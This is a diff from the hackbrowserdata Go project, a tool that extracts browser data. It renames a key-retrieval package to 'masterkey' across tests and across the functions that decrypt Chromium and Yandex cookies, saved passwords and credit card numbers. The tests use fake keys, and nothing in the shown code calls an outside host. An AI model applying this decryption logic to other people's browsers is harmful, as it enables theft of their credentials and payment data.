LocalStatePath: localStateDst, LocalStatePath: localStateDst,
+25 -25
View File
@@ -9,7 +9,7 @@ import (
"github.com/stretchr/testify/assert" "github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require" "github.com/stretchr/testify/require"
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever" "github.com/moond4rk/hackbrowserdata/masterkey"
"github.com/moond4rk/hackbrowserdata/types" "github.com/moond4rk/hackbrowserdata/types"
) )
@@ -380,21 +380,21 @@ func TestLocalStatePath(t *testing.T) {
// mockRetriever records the arguments passed to RetrieveKey. // mockRetriever records the arguments passed to RetrieveKey.
type mockRetriever struct { type mockRetriever struct {
hints keyretriever.Hints hints masterkey.Hints
key []byte key []byte
err error err error
called bool called bool
} }
func (m *mockRetriever) RetrieveKey(hints keyretriever.Hints) ([]byte, error) { func (m *mockRetriever) RetrieveKey(hints masterkey.Hints) ([]byte, error) {
m.called = true m.called = true
m.hints = hints m.hints = hints
return m.key, m.err return m.key, m.err
} }
func TestGetMasterKeys(t *testing.T) { func TestGetMasterKeys(t *testing.T) {
// getMasterKeys routes through keyretriever.NewMasterKeys on every platform — the V10 mock // getMasterKeys routes through masterkey.NewMasterKeys on every platform — the V10 mock
// wired via SetKeyRetrievers(Retrievers{V10: mock}) is consulted cross-platform. // wired via SetRetrievers(Retrievers{V10: mock}) is consulted cross-platform.
// Profile directory without Local State file. // Profile directory without Local State file.
dirNoLocalState := t.TempDir() dirNoLocalState := t.TempDir()
@@ -405,7 +405,7 @@ func TestGetMasterKeys(t *testing.T) {
name string name string
dir string dir string
keychainLabel string keychainLabel string
retriever keyretriever.KeyRetriever // nil → don't call SetKeyRetrievers retriever masterkey.Retriever // nil → don't call SetRetrievers
wantV10 []byte wantV10 []byte
wantKeychainLabel string wantKeychainLabel string
wantLocalState bool // whether localStatePath passed to retriever is non-empty wantLocalState bool // whether localStatePath passed to retriever is non-empty
@@ -442,13 +442,13 @@ func TestGetMasterKeys(t *testing.T) {
require.NotNil(t, b) require.NotNil(t, b)
if tt.retriever != nil { if tt.retriever != nil {
b.SetKeyRetrievers(keyretriever.Retrievers{V10: tt.retriever}) b.SetRetrievers(masterkey.Retrievers{V10: tt.retriever})
} }
keys := b.masterKeys() mk := b.masterKeys()
assert.Equal(t, tt.wantV10, keys.V10) assert.Equal(t, tt.wantV10, mk.V10)
assert.Nil(t, keys.V11, "V11 stays nil when no v11 retriever is wired") assert.Nil(t, mk.V11, "V11 stays nil when no v11 retriever is wired")
assert.Nil(t, keys.V20, "V20 stays nil when no v20 retriever is wired") assert.Nil(t, mk.V20, "V20 stays nil when no v20 retriever is wired")
if tt.retriever == nil { if tt.retriever == nil {
return return
@@ -470,7 +470,7 @@ func TestGetMasterKeys(t *testing.T) {
// Before the refactor a Windows-only bypass meant only one tier's retriever was consulted, so a // Before the refactor a Windows-only bypass meant only one tier's retriever was consulted, so a
// profile mixing prefixes silently lost the un-retrieved tier. After the refactor every // profile mixing prefixes silently lost the un-retrieved tier. After the refactor every
// configured tier must be called exactly once and its key must land in the matching MasterKeys // configured tier must be called exactly once and its key must land in the matching MasterKeys
// slot. This catches any future "bypass keyretriever for a faster path" regression and covers the // slot. This catches any future "bypass the masterkey package for a faster path" regression and covers the
// analogous Linux v10/v11 case — no platform silently drops a tier any more. // analogous Linux v10/v11 case — no platform silently drops a tier any more.
func TestGetMasterKeys_AllTiersInvoked(t *testing.T) { func TestGetMasterKeys_AllTiersInvoked(t *testing.T) {
v10mock := &mockRetriever{key: []byte("fake-v10-key")} v10mock := &mockRetriever{key: []byte("fake-v10-key")}
@@ -483,12 +483,12 @@ func TestGetMasterKeys_AllTiersInvoked(t *testing.T) {
require.NoError(t, err) require.NoError(t, err)
require.NotNil(t, b) require.NotNil(t, b)
b.SetKeyRetrievers(keyretriever.Retrievers{V10: v10mock, V11: v11mock, V20: v20mock}) b.SetRetrievers(masterkey.Retrievers{V10: v10mock, V11: v11mock, V20: v20mock})
keys := b.masterKeys() mk := b.masterKeys()
assert.Equal(t, []byte("fake-v10-key"), keys.V10, "V10 slot must be populated") assert.Equal(t, []byte("fake-v10-key"), mk.V10, "V10 slot must be populated")
assert.Equal(t, []byte("fake-v11-key"), keys.V11, "V11 slot must be populated") assert.Equal(t, []byte("fake-v11-key"), mk.V11, "V11 slot must be populated")
assert.Equal(t, []byte("fake-v20-key"), keys.V20, "V20 slot must be populated") assert.Equal(t, []byte("fake-v20-key"), mk.V20, "V20 slot must be populated")
assert.True(t, v10mock.called, "V10 retriever must be called — no silent bypass") assert.True(t, v10mock.called, "V10 retriever must be called — no silent bypass")
assert.True(t, v11mock.called, "V11 retriever must be called — no silent bypass") assert.True(t, v11mock.called, "V11 retriever must be called — no silent bypass")
assert.True(t, v20mock.called, "V20 retriever must be called — no silent bypass") assert.True(t, v20mock.called, "V20 retriever must be called — no silent bypass")
@@ -521,7 +521,7 @@ func TestGetMasterKeys_WindowsABEThreading(t *testing.T) {
require.NoError(t, err) require.NoError(t, err)
require.NotNil(t, b) require.NotNil(t, b)
b.SetKeyRetrievers(keyretriever.Retrievers{V20: mock}) b.SetRetrievers(masterkey.Retrievers{V20: mock})
b.masterKeys() b.masterKeys()
assert.Equal(t, tt.wantABEKey, mock.hints.WindowsABEKey) assert.Equal(t, tt.wantABEKey, mock.hints.WindowsABEKey)
@@ -540,8 +540,8 @@ func TestExtract(t *testing.T) {
tests := []struct { tests := []struct {
name string name string
retriever keyretriever.KeyRetriever // nil → don't call SetRetriever retriever masterkey.Retriever // nil → don't call SetRetriever
wantRetriever bool // whether retriever should be called wantRetriever bool // whether retriever should be called
}{ }{
{ {
name: "without retriever extracts unencrypted data", name: "without retriever extracts unencrypted data",
@@ -562,7 +562,7 @@ func TestExtract(t *testing.T) {
require.NotNil(t, b) require.NotNil(t, b)
if tt.retriever != nil { if tt.retriever != nil {
b.SetKeyRetrievers(keyretriever.Retrievers{V10: tt.retriever}) b.SetRetrievers(masterkey.Retrievers{V10: tt.retriever})
} }
results, err := b.Extract([]types.Category{types.History}) results, err := b.Extract([]types.Category{types.History})
@@ -629,13 +629,13 @@ func TestCountEntries_NoRetrieverNeeded(t *testing.T) {
} }
// --------------------------------------------------------------------------- // ---------------------------------------------------------------------------
// SetKeyRetrievers: verify *Browser satisfies the interface used by // SetRetrievers: verify *Browser satisfies the interface used by
// browser.pickFromConfigs for post-construction retriever injection. // browser.discoverFromConfigs for post-construction retriever injection.
// --------------------------------------------------------------------------- // ---------------------------------------------------------------------------
func TestSetKeyRetrievers_SatisfiesInterface(t *testing.T) { func TestSetRetrievers_SatisfiesInterface(t *testing.T) {
var _ interface { var _ interface {
SetKeyRetrievers(keyretriever.Retrievers) SetRetrievers(masterkey.Retrievers)
} = (*Browser)(nil) } = (*Browser)(nil)
} }
+9 -9
View File
@@ -4,21 +4,21 @@ import (
"fmt" "fmt"
"github.com/moond4rk/hackbrowserdata/crypto" "github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever" "github.com/moond4rk/hackbrowserdata/masterkey"
) )
// decryptValue decrypts a Chromium-encrypted value by dispatching on the ciphertext's version // decryptValue decrypts a Chromium-encrypted value by dispatching on the ciphertext's version
// prefix to the matching tier in keys: // prefix to the matching tier in masterKeys:
// //
// - v10 → keys.V10 (Windows DPAPI / macOS Keychain / Linux peanuts kV10Key) // - v10 → masterKeys.V10 (Windows DPAPI / macOS Keychain / Linux peanuts kV10Key)
// - v11 → keys.V11 (Linux keyring kV11Key; nil on Windows/macOS — Chromium doesn't emit v11 there) // - v11 → masterKeys.V11 (Linux keyring kV11Key; nil on Windows/macOS — Chromium doesn't emit v11 there)
// - v20 → keys.V20 (Windows ABE; nil on non-Windows — Chromium doesn't emit v20 there) // - v20 → masterKeys.V20 (Windows ABE; nil on non-Windows — Chromium doesn't emit v20 there)
// //
// A single profile can carry mixed prefixes (Chrome 127+ upgrades on Windows; Linux session-mode // A single profile can carry mixed prefixes (Chrome 127+ upgrades on Windows; Linux session-mode
// changes), so every applicable key must be populated upstream for lossless extraction. Missing // changes), so every applicable key must be populated upstream for lossless extraction. Missing
// tier keys surface as decrypt errors at the ciphertext level; the extract layer treats those as // tier keys surface as decrypt errors at the ciphertext level; the extract layer treats those as
// empty plaintexts rather than fatal errors. // empty plaintexts rather than fatal errors.
func decryptValue(keys keyretriever.MasterKeys, ciphertext []byte) ([]byte, error) { func decryptValue(masterKeys masterkey.MasterKeys, ciphertext []byte) ([]byte, error) {
if len(ciphertext) == 0 { if len(ciphertext) == 0 {
return nil, nil return nil, nil
} }
@@ -26,16 +26,16 @@ func decryptValue(keys keyretriever.MasterKeys, ciphertext []byte) ([]byte, erro
version := crypto.DetectVersion(ciphertext) version := crypto.DetectVersion(ciphertext)
switch version { switch version {
case crypto.CipherV10: case crypto.CipherV10:
return crypto.DecryptChromium(keys.V10, ciphertext) return crypto.DecryptChromium(masterKeys.V10, ciphertext)
case crypto.CipherV11: case crypto.CipherV11:
// v11 is Linux-only and shares v10's AES-CBC path, but uses the keyring-derived kV11Key // v11 is Linux-only and shares v10's AES-CBC path, but uses the keyring-derived kV11Key
// rather than the peanuts-derived kV10Key — so a Linux profile with both prefixes needs // rather than the peanuts-derived kV10Key — so a Linux profile with both prefixes needs
// distinct per-tier keys to decrypt everything. // distinct per-tier keys to decrypt everything.
return crypto.DecryptChromium(keys.V11, ciphertext) return crypto.DecryptChromium(masterKeys.V11, ciphertext)
case crypto.CipherV20: case crypto.CipherV20:
// v20 is cross-platform AES-GCM; routed through a dedicated function so Linux/macOS CI can // v20 is cross-platform AES-GCM; routed through a dedicated function so Linux/macOS CI can
// exercise the same decryption path as Windows. // exercise the same decryption path as Windows.
return crypto.DecryptChromiumV20(keys.V20, ciphertext) return crypto.DecryptChromiumV20(masterKeys.V20, ciphertext)
case crypto.CipherV12: case crypto.CipherV12:
// Chromium's SecretPortalKeyProvider (Flatpak / xdg-desktop-portal) — HKDF-SHA256 + // Chromium's SecretPortalKeyProvider (Flatpak / xdg-desktop-portal) — HKDF-SHA256 +
// AES-256-GCM with a secret retrieved via org.freedesktop.portal.Desktop. Recognized here // AES-256-GCM with a secret retrieved via org.freedesktop.portal.Desktop. Recognized here
+5 -5
View File
@@ -8,7 +8,7 @@ import (
"github.com/stretchr/testify/require" "github.com/stretchr/testify/require"
"github.com/moond4rk/hackbrowserdata/crypto" "github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever" "github.com/moond4rk/hackbrowserdata/masterkey"
) )
// TestDecryptValue_MixedTier is the regression test for mixed-cipher profiles (issue #578 on // TestDecryptValue_MixedTier is the regression test for mixed-cipher profiles (issue #578 on
@@ -33,7 +33,7 @@ func TestDecryptValue_MixedTier(t *testing.T) {
v20Ciphertext := append([]byte("v20"), append(nonce, gcmEnc...)...) v20Ciphertext := append([]byte("v20"), append(nonce, gcmEnc...)...)
t.Run("all tiers populated: v20 picks V20, decrypts", func(t *testing.T) { t.Run("all tiers populated: v20 picks V20, decrypts", func(t *testing.T) {
got, err := decryptValue(keyretriever.MasterKeys{V10: k10, V11: k11, V20: k20}, v20Ciphertext) got, err := decryptValue(masterkey.MasterKeys{V10: k10, V11: k11, V20: k20}, v20Ciphertext)
require.NoError(t, err) require.NoError(t, err)
assert.Equal(t, plaintext, got) assert.Equal(t, plaintext, got)
}) })
@@ -41,20 +41,20 @@ func TestDecryptValue_MixedTier(t *testing.T) {
t.Run("V20 holds wrong key: v20 still picks V20 slot (not V10/V11), errors", func(t *testing.T) { t.Run("V20 holds wrong key: v20 still picks V20 slot (not V10/V11), errors", func(t *testing.T) {
// If the dispatcher incorrectly fell back to V10 or V11 when V20 had a wrong key, this // If the dispatcher incorrectly fell back to V10 or V11 when V20 had a wrong key, this
// would succeed. Proves the router uses prefix-based selection, not first-usable-key. // would succeed. Proves the router uses prefix-based selection, not first-usable-key.
_, err := decryptValue(keyretriever.MasterKeys{V10: k20, V11: k20, V20: k10}, v20Ciphertext) _, err := decryptValue(masterkey.MasterKeys{V10: k20, V11: k20, V20: k10}, v20Ciphertext)
require.Error(t, err) require.Error(t, err)
}) })
t.Run("only V20 populated: v20 still decrypts", func(t *testing.T) { t.Run("only V20 populated: v20 still decrypts", func(t *testing.T) {
// The pre-#578 symmetric regression: when DPAPI/keyring failed and only V20 was retrieved, // The pre-#578 symmetric regression: when DPAPI/keyring failed and only V20 was retrieved,
// v20 cookies had to still decrypt. This asserts V10 and V11 being nil doesn't block v20. // v20 cookies had to still decrypt. This asserts V10 and V11 being nil doesn't block v20.
got, err := decryptValue(keyretriever.MasterKeys{V20: k20}, v20Ciphertext) got, err := decryptValue(masterkey.MasterKeys{V20: k20}, v20Ciphertext)
require.NoError(t, err) require.NoError(t, err)
assert.Equal(t, plaintext, got) assert.Equal(t, plaintext, got)
}) })
t.Run("V20 slot unpopulated: v20 errors (no key to use)", func(t *testing.T) { t.Run("V20 slot unpopulated: v20 errors (no key to use)", func(t *testing.T) {
_, err := decryptValue(keyretriever.MasterKeys{V10: k10, V11: k11}, v20Ciphertext) _, err := decryptValue(masterkey.MasterKeys{V10: k10, V11: k11}, v20Ciphertext)
require.Error(t, err) require.Error(t, err)
}) })
} }
+7 -7
View File
@@ -10,7 +10,7 @@ import (
"github.com/stretchr/testify/require" "github.com/stretchr/testify/require"
"github.com/moond4rk/hackbrowserdata/crypto" "github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever" "github.com/moond4rk/hackbrowserdata/masterkey"
) )
func TestDecryptValue_V10(t *testing.T) { func TestDecryptValue_V10(t *testing.T) {
@@ -40,7 +40,7 @@ func TestDecryptValue_V10(t *testing.T) {
for _, tt := range tests { for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) { t.Run(tt.name, func(t *testing.T) {
got, err := decryptValue(keyretriever.MasterKeys{V10: tt.key}, v10Ciphertext) got, err := decryptValue(masterkey.MasterKeys{V10: tt.key}, v10Ciphertext)
if tt.wantErrMsg != "" { if tt.wantErrMsg != "" {
require.Error(t, err) require.Error(t, err)
assert.Contains(t, err.Error(), tt.wantErrMsg) assert.Contains(t, err.Error(), tt.wantErrMsg)
@@ -61,7 +61,7 @@ func TestDecryptValue_V11(t *testing.T) {
v11Ciphertext := append([]byte("v11"), cbcEncrypted...) v11Ciphertext := append([]byte("v11"), cbcEncrypted...)
// v11 ciphertexts route to the V11 slot (Linux's keyring-derived kV11Key) — not V10 (peanuts). // v11 ciphertexts route to the V11 slot (Linux's keyring-derived kV11Key) — not V10 (peanuts).
got, err := decryptValue(keyretriever.MasterKeys{V11: testAESKey}, v11Ciphertext) got, err := decryptValue(masterkey.MasterKeys{V11: testAESKey}, v11Ciphertext)
require.NoError(t, err) require.NoError(t, err)
assert.Equal(t, plaintext, got) assert.Equal(t, plaintext, got)
} }
@@ -87,22 +87,22 @@ func TestDecryptValue_V10_V11_SlotSeparation(t *testing.T) {
require.NoError(t, err) require.NoError(t, err)
v11Ciphertext := append([]byte("v11"), v11Enc...) v11Ciphertext := append([]byte("v11"), v11Enc...)
keys := keyretriever.MasterKeys{V10: k10, V11: k11} mk := masterkey.MasterKeys{V10: k10, V11: k11}
t.Run("v10 ciphertext decrypts via V10 slot", func(t *testing.T) { t.Run("v10 ciphertext decrypts via V10 slot", func(t *testing.T) {
got, err := decryptValue(keys, v10Ciphertext) got, err := decryptValue(mk, v10Ciphertext)
require.NoError(t, err) require.NoError(t, err)
assert.Equal(t, v10plain, got) assert.Equal(t, v10plain, got)
}) })
t.Run("v11 ciphertext decrypts via V11 slot", func(t *testing.T) { t.Run("v11 ciphertext decrypts via V11 slot", func(t *testing.T) {
got, err := decryptValue(keys, v11Ciphertext) got, err := decryptValue(mk, v11Ciphertext)
require.NoError(t, err) require.NoError(t, err)
assert.Equal(t, v11plain, got) assert.Equal(t, v11plain, got)
}) })
t.Run("swapped keys fail both directions", func(t *testing.T) { t.Run("swapped keys fail both directions", func(t *testing.T) {
swapped := keyretriever.MasterKeys{V10: k11, V11: k10} swapped := masterkey.MasterKeys{V10: k11, V11: k10}
_, err := decryptValue(swapped, v10Ciphertext) _, err := decryptValue(swapped, v10Ciphertext)
require.Error(t, err, "v10 with V11's key must fail") require.Error(t, err, "v10 with V11's key must fail")
_, err = decryptValue(swapped, v11Ciphertext) _, err = decryptValue(swapped, v11Ciphertext)
+3 -3
View File
@@ -7,7 +7,7 @@ import (
"github.com/stretchr/testify/require" "github.com/stretchr/testify/require"
"github.com/moond4rk/hackbrowserdata/crypto" "github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever" "github.com/moond4rk/hackbrowserdata/masterkey"
) )
// TestDecryptValue_V20 is cross-platform because v20's ciphertext format // TestDecryptValue_V20 is cross-platform because v20's ciphertext format
@@ -24,13 +24,13 @@ func TestDecryptValue_V20(t *testing.T) {
// v20 layout: "v20" (3B) + nonce (12B) + ciphertext+tag // v20 layout: "v20" (3B) + nonce (12B) + ciphertext+tag
ciphertext := append([]byte("v20"), append(nonce, gcm...)...) ciphertext := append([]byte("v20"), append(nonce, gcm...)...)
got, err := decryptValue(keyretriever.MasterKeys{V20: testAESKey}, ciphertext) got, err := decryptValue(masterkey.MasterKeys{V20: testAESKey}, ciphertext)
require.NoError(t, err) require.NoError(t, err)
assert.Equal(t, plaintext, got) assert.Equal(t, plaintext, got)
} }
func TestDecryptValue_V20_ShortCiphertext(t *testing.T) { func TestDecryptValue_V20_ShortCiphertext(t *testing.T) {
// Missing nonce (prefix only) must error, not panic. // Missing nonce (prefix only) must error, not panic.
_, err := decryptValue(keyretriever.MasterKeys{V20: testAESKey}, []byte("v20")) _, err := decryptValue(masterkey.MasterKeys{V20: testAESKey}, []byte("v20"))
require.Error(t, err) require.Error(t, err)
} }
+3 -3
View File
@@ -12,7 +12,7 @@ import (
"github.com/stretchr/testify/require" "github.com/stretchr/testify/require"
"github.com/moond4rk/hackbrowserdata/crypto" "github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever" "github.com/moond4rk/hackbrowserdata/masterkey"
) )
// encryptWithDPAPI encrypts data using Windows DPAPI (CryptProtectData). // encryptWithDPAPI encrypts data using Windows DPAPI (CryptProtectData).
@@ -64,7 +64,7 @@ func TestDecryptValue_V10_Windows(t *testing.T) {
// v10 format on Windows: "v10" + nonce(12) + encrypted // v10 format on Windows: "v10" + nonce(12) + encrypted
ciphertext := append([]byte("v10"), append(nonce, gcmEncrypted...)...) ciphertext := append([]byte("v10"), append(nonce, gcmEncrypted...)...)
got, err := decryptValue(keyretriever.MasterKeys{V10: testAESKey}, ciphertext) got, err := decryptValue(masterkey.MasterKeys{V10: testAESKey}, ciphertext)
require.NoError(t, err) require.NoError(t, err)
assert.Equal(t, plaintext, got) assert.Equal(t, plaintext, got)
} }
@@ -78,7 +78,7 @@ func TestDecryptValue_DPAPI_Windows(t *testing.T) {
require.NotEmpty(t, encrypted) require.NotEmpty(t, encrypted)
// No v10/v20 prefix → decryptValue routes to DPAPI path; no per-tier key needed. // No v10/v20 prefix → decryptValue routes to DPAPI path; no per-tier key needed.
got, err := decryptValue(keyretriever.MasterKeys{}, encrypted) got, err := decryptValue(masterkey.MasterKeys{}, encrypted)
require.NoError(t, err) require.NoError(t, err)
assert.Equal(t, plaintext, got) assert.Equal(t, plaintext, got)
} }
+3 -3
View File
@@ -6,7 +6,7 @@ import (
"database/sql" "database/sql"
"sort" "sort"
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever" "github.com/moond4rk/hackbrowserdata/masterkey"
"github.com/moond4rk/hackbrowserdata/types" "github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/sqliteutil" "github.com/moond4rk/hackbrowserdata/utils/sqliteutil"
) )
@@ -18,7 +18,7 @@ const (
countCookieQuery = `SELECT COUNT(*) FROM cookies` countCookieQuery = `SELECT COUNT(*) FROM cookies`
) )
func extractCookies(keys keyretriever.MasterKeys, path string) ([]types.CookieEntry, error) { func extractCookies(masterKeys masterkey.MasterKeys, path string) ([]types.CookieEntry, error) {
cookies, err := sqliteutil.QueryRows(path, false, defaultCookieQuery, cookies, err := sqliteutil.QueryRows(path, false, defaultCookieQuery,
func(rows *sql.Rows) (types.CookieEntry, error) { func(rows *sql.Rows) (types.CookieEntry, error) {
var ( var (
@@ -34,7 +34,7 @@ func extractCookies(keys keyretriever.MasterKeys, path string) ([]types.CookieEn
return types.CookieEntry{}, err return types.CookieEntry{}, err
} }
value, _ := decryptValue(keys, encryptedValue) value, _ := decryptValue(masterKeys, encryptedValue)
value = stripCookieHash(value, host) value = stripCookieHash(value, host)
return types.CookieEntry{ return types.CookieEntry{
Name: name, Name: name,
+2 -2
View File
@@ -7,7 +7,7 @@ import (
"github.com/stretchr/testify/assert" "github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require" "github.com/stretchr/testify/require"
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever" "github.com/moond4rk/hackbrowserdata/masterkey"
) )
func setupCookieDB(t *testing.T) string { func setupCookieDB(t *testing.T) string {
@@ -21,7 +21,7 @@ func setupCookieDB(t *testing.T) string {
func TestExtractCookies(t *testing.T) { func TestExtractCookies(t *testing.T) {
path := setupCookieDB(t) path := setupCookieDB(t)
got, err := extractCookies(keyretriever.MasterKeys{}, path) got, err := extractCookies(masterkey.MasterKeys{}, path)
require.NoError(t, err) require.NoError(t, err)
require.Len(t, got, 2) require.Len(t, got, 2)
+5 -5
View File
@@ -6,8 +6,8 @@ import (
"errors" "errors"
"github.com/moond4rk/hackbrowserdata/crypto" "github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
"github.com/moond4rk/hackbrowserdata/log" "github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/masterkey"
"github.com/moond4rk/hackbrowserdata/types" "github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/sqliteutil" "github.com/moond4rk/hackbrowserdata/utils/sqliteutil"
) )
@@ -36,7 +36,7 @@ type yandexPrivateData struct {
SecretComment string `json:"secret_comment"` SecretComment string `json:"secret_comment"`
} }
func extractCreditCards(keys keyretriever.MasterKeys, path string) ([]types.CreditCardEntry, error) { func extractCreditCards(masterKeys masterkey.MasterKeys, path string) ([]types.CreditCardEntry, error) {
cards, err := sqliteutil.QueryRows(path, false, defaultCreditCardQuery, cards, err := sqliteutil.QueryRows(path, false, defaultCreditCardQuery,
func(rows *sql.Rows) (types.CreditCardEntry, error) { func(rows *sql.Rows) (types.CreditCardEntry, error) {
var guid, name, month, year, nickname, address string var guid, name, month, year, nickname, address string
@@ -44,7 +44,7 @@ func extractCreditCards(keys keyretriever.MasterKeys, path string) ([]types.Cred
if err := rows.Scan(&guid, &name, &month, &year, &encNumber, &nickname, &address); err != nil { if err := rows.Scan(&guid, &name, &month, &year, &encNumber, &nickname, &address); err != nil {
return types.CreditCardEntry{}, err return types.CreditCardEntry{}, err
} }
number, _ := decryptValue(keys, encNumber) number, _ := decryptValue(masterKeys, encNumber)
return types.CreditCardEntry{ return types.CreditCardEntry{
GUID: guid, GUID: guid,
Name: name, Name: name,
@@ -62,8 +62,8 @@ func extractCreditCards(keys keyretriever.MasterKeys, path string) ([]types.Cred
} }
// extractYandexCreditCards reads the records table (not Chromium's credit_cards). AAD = guid. See RFC-012 §4. // extractYandexCreditCards reads the records table (not Chromium's credit_cards). AAD = guid. See RFC-012 §4.
func extractYandexCreditCards(keys keyretriever.MasterKeys, path string) ([]types.CreditCardEntry, error) { func extractYandexCreditCards(masterKeys masterkey.MasterKeys, path string) ([]types.CreditCardEntry, error) {
dataKey, err := loadYandexDataKey(path, keys.V10) dataKey, err := loadYandexDataKey(path, masterKeys.V10)
if err != nil { if err != nil {
if errors.Is(err, errYandexMasterPasswordSet) { if errors.Is(err, errYandexMasterPasswordSet) {
log.Warnf("%s: %v", path, err) log.Warnf("%s: %v", path, err)
+4 -4
View File
@@ -7,7 +7,7 @@ import (
"github.com/stretchr/testify/assert" "github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require" "github.com/stretchr/testify/require"
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever" "github.com/moond4rk/hackbrowserdata/masterkey"
) )
func setupCreditCardDB(t *testing.T) string { func setupCreditCardDB(t *testing.T) string {
@@ -21,7 +21,7 @@ func setupCreditCardDB(t *testing.T) string {
func TestExtractCreditCards(t *testing.T) { func TestExtractCreditCards(t *testing.T) {
path := setupCreditCardDB(t) path := setupCreditCardDB(t)
got, err := extractCreditCards(keyretriever.MasterKeys{}, path) got, err := extractCreditCards(masterkey.MasterKeys{}, path)
require.NoError(t, err) require.NoError(t, err)
require.Len(t, got, 2) require.Len(t, got, 2)
@@ -80,7 +80,7 @@ func TestExtractYandexCreditCards(t *testing.T) {
}, },
) )
got, err := extractYandexCreditCards(keyretriever.MasterKeys{V10: masterKey}, path) got, err := extractYandexCreditCards(masterkey.MasterKeys{V10: masterKey}, path)
require.NoError(t, err) require.NoError(t, err)
require.Len(t, got, 2) require.Len(t, got, 2)
@@ -128,7 +128,7 @@ func TestExtractYandexCreditCards_WrongMasterKey(t *testing.T) {
yandexCreditCard{GUID: "g1", FullCardNumber: "4111"}, yandexCreditCard{GUID: "g1", FullCardNumber: "4111"},
) )
_, err := extractYandexCreditCards(keyretriever.MasterKeys{V10: wrongKey}, path) _, err := extractYandexCreditCards(masterkey.MasterKeys{V10: wrongKey}, path)
require.Error(t, err) require.Error(t, err)
} }
+7 -7
View File
@@ -6,8 +6,8 @@ import (
"sort" "sort"
"github.com/moond4rk/hackbrowserdata/crypto" "github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
"github.com/moond4rk/hackbrowserdata/log" "github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/masterkey"
"github.com/moond4rk/hackbrowserdata/types" "github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/sqliteutil" "github.com/moond4rk/hackbrowserdata/utils/sqliteutil"
) )
@@ -20,11 +20,11 @@ const (
password_element, password_value, signon_realm, date_created FROM logins` password_element, password_value, signon_realm, date_created FROM logins`
) )
func extractPasswords(keys keyretriever.MasterKeys, path string) ([]types.LoginEntry, error) { func extractPasswords(masterKeys masterkey.MasterKeys, path string) ([]types.LoginEntry, error) {
return extractPasswordsWithQuery(keys, path, defaultLoginQuery) return extractPasswordsWithQuery(masterKeys, path, defaultLoginQuery)
} }
func extractPasswordsWithQuery(keys keyretriever.MasterKeys, path, query string) ([]types.LoginEntry, error) { func extractPasswordsWithQuery(masterKeys masterkey.MasterKeys, path, query string) ([]types.LoginEntry, error) {
logins, err := sqliteutil.QueryRows(path, false, query, logins, err := sqliteutil.QueryRows(path, false, query,
func(rows *sql.Rows) (types.LoginEntry, error) { func(rows *sql.Rows) (types.LoginEntry, error) {
var url, username string var url, username string
@@ -33,7 +33,7 @@ func extractPasswordsWithQuery(keys keyretriever.MasterKeys, path, query string)
if err := rows.Scan(&url, &username, &pwd, &created); err != nil { if err := rows.Scan(&url, &username, &pwd, &created); err != nil {
return types.LoginEntry{}, err return types.LoginEntry{}, err
} }
password, _ := decryptValue(keys, pwd) password, _ := decryptValue(masterKeys, pwd)
return types.LoginEntry{ return types.LoginEntry{
URL: url, URL: url,
Username: username, Username: username,
@@ -53,8 +53,8 @@ func extractPasswordsWithQuery(keys keyretriever.MasterKeys, path, query string)
// extractYandexPasswords walks Ya Passman Data; protocol in RFC-012 §4. // extractYandexPasswords walks Ya Passman Data; protocol in RFC-012 §4.
// Note: URL column is origin_url — it's what the per-row AAD is computed over (not action_url). // Note: URL column is origin_url — it's what the per-row AAD is computed over (not action_url).
func extractYandexPasswords(keys keyretriever.MasterKeys, path string) ([]types.LoginEntry, error) { func extractYandexPasswords(masterKeys masterkey.MasterKeys, path string) ([]types.LoginEntry, error) {
dataKey, err := loadYandexDataKey(path, keys.V10) dataKey, err := loadYandexDataKey(path, masterKeys.V10)
if err != nil { if err != nil {
if errors.Is(err, errYandexMasterPasswordSet) { if errors.Is(err, errYandexMasterPasswordSet) {
log.Warnf("%s: %v", path, err) log.Warnf("%s: %v", path, err)
+5 -5
View File
@@ -8,7 +8,7 @@ import (
"github.com/stretchr/testify/assert" "github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require" "github.com/stretchr/testify/require"
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever" "github.com/moond4rk/hackbrowserdata/masterkey"
) )
func setupLoginDB(t *testing.T) string { func setupLoginDB(t *testing.T) string {
@@ -22,7 +22,7 @@ func setupLoginDB(t *testing.T) string {
func TestExtractPasswords(t *testing.T) { func TestExtractPasswords(t *testing.T) {
path := setupLoginDB(t) path := setupLoginDB(t)
got, err := extractPasswords(keyretriever.MasterKeys{}, path) got, err := extractPasswords(masterkey.MasterKeys{}, path)
require.NoError(t, err) require.NoError(t, err)
require.Len(t, got, 2) require.Len(t, got, 2)
@@ -70,7 +70,7 @@ func TestExtractYandexPasswords(t *testing.T) {
}, },
) )
got, err := extractYandexPasswords(keyretriever.MasterKeys{V10: masterKey}, path) got, err := extractYandexPasswords(masterkey.MasterKeys{V10: masterKey}, path)
require.NoError(t, err) require.NoError(t, err)
require.Len(t, got, 2) require.Len(t, got, 2)
@@ -93,7 +93,7 @@ func TestExtractYandexPasswords_MasterPasswordSkipped(t *testing.T) {
}, },
) )
